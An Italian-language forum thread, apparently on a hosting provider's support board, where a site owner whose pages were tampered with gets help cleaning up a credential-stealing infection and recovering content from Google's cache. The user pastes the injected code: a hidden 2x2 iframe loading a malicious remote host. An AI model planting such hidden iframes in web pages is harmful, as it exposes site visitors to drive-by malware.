sito compromesso da virus

[rockmusicforyou]

gentilissimo staff da un ora il mio sito ha dei problemi, infatti se vado a vedere gestione file l'index e le altre pagine, tutti i tag sono stati cancellati.
cosa è successo?
vi prego rispondetemi non vorrei aver perso tutto!

[andreafallico]

@rockmusicforyou

Il tuo sito è infetto: http://www.virustotal.com/file-scan/...01c-1306862268

Soluzione: http://forum.it.altervista.org/759986-post30.html

[rockmusicforyou]

grazie ma ormai questo virus mi ha cancellato tutti i tag, purtroppo dovrò rifare il sito da capo.
non è possibile ripristinare i tag?

-------

<iframe src='http://indometastan.in/in.cgi?default' width='2' height='2' frameborder='0'></iframe>

questo è il tag che mi sono ritrovato al posto degli altri

[andreafallico]

Quello che devi fare è:

Quello che è consigliabile fare:

1) Procedere con una scansione accurata del proprio pc con un buon antivirus (non tutti gli antivirus rilevano questo tipo di infezione, quindi potrebbe essere necessario usare tools ad hoc)
2) Modificare le credenziali di accesso al sito
3) Ripristinare un backup dei files (il ripristino del database non serve). Dove non possibile si può procedere al ripristino dei files che contengono quel codice, tipicamente index.php o volendo procedere alla rimozione a mano del codice stesso (dopo 1 e 2, altrimenti potrebbe ancora essere riaricato)

non è possibile ripristinare i tag?

3) Ripristinare un backup dei files (il ripristino del database non serve). Dove non possibile si può procedere al ripristino dei files che contengono quel codice, tipicamente index.php o volendo procedere alla rimozione a mano del codice stesso (dopo 1 e 2, altrimenti potrebbe ancora essere riaricato)

[rockmusicforyou]

quindi per me non c'è niente da fare, ho perso tutti i tag.
grazie lo stesso, sei tra i miei amici

[karl94]

La cache di Google può darti una mano.

[rockmusicforyou]

karl94 non so che dirti funzionaaaaaaaaa!
ti ringrazio immensamente

posso chiederti come hai fatto?
a trovare le cache del mio sito, non ne sono capace

[karl94]

posso chiederti come hai fatto?

Cosa?

Basta scrivere nel campo di ricerca cache: seguito dall'indirizzo della pagina di cui vuoi visualizzare la copia cache.

[rockmusicforyou]

ti ringrazio tanto,ti metto tra i miei amici :)

-------

gentile karl94 le volevo dire che qui continua ad andare male,nel mio sito vengono ancora cancellati i tag.
Per di più ho fatto una scansione al mio sito e mi dice che non ci sono virus, ma continuando a leggere le informazioni sulla scansione, mi dice che l'ultima modifica è sata fatta da un IP che proviene dalla germania esattamente il 5 giugno .
Non so cosa fare aiutatemi!

-------

ma altervista non protegge gli utenti da questi attacchi?

[karl94]

Non c'è nessun attacco ad AlterVista, è il tuo computer che è stato infettato da un malware che ha rubato le credenziali di accesso al sito.

[rockmusicforyou]

quindi dovrei scannerizzare il computer, eliminare i virus e cambiare le credenziali?

[karl94]

Esattamente, come ti è già stato indicato.

[rockmusicforyou]

ok, allora così farò, grazie mille!

--------------------
ok per ora tutto bene, ho eseguito le procedure, speriamo che funzioni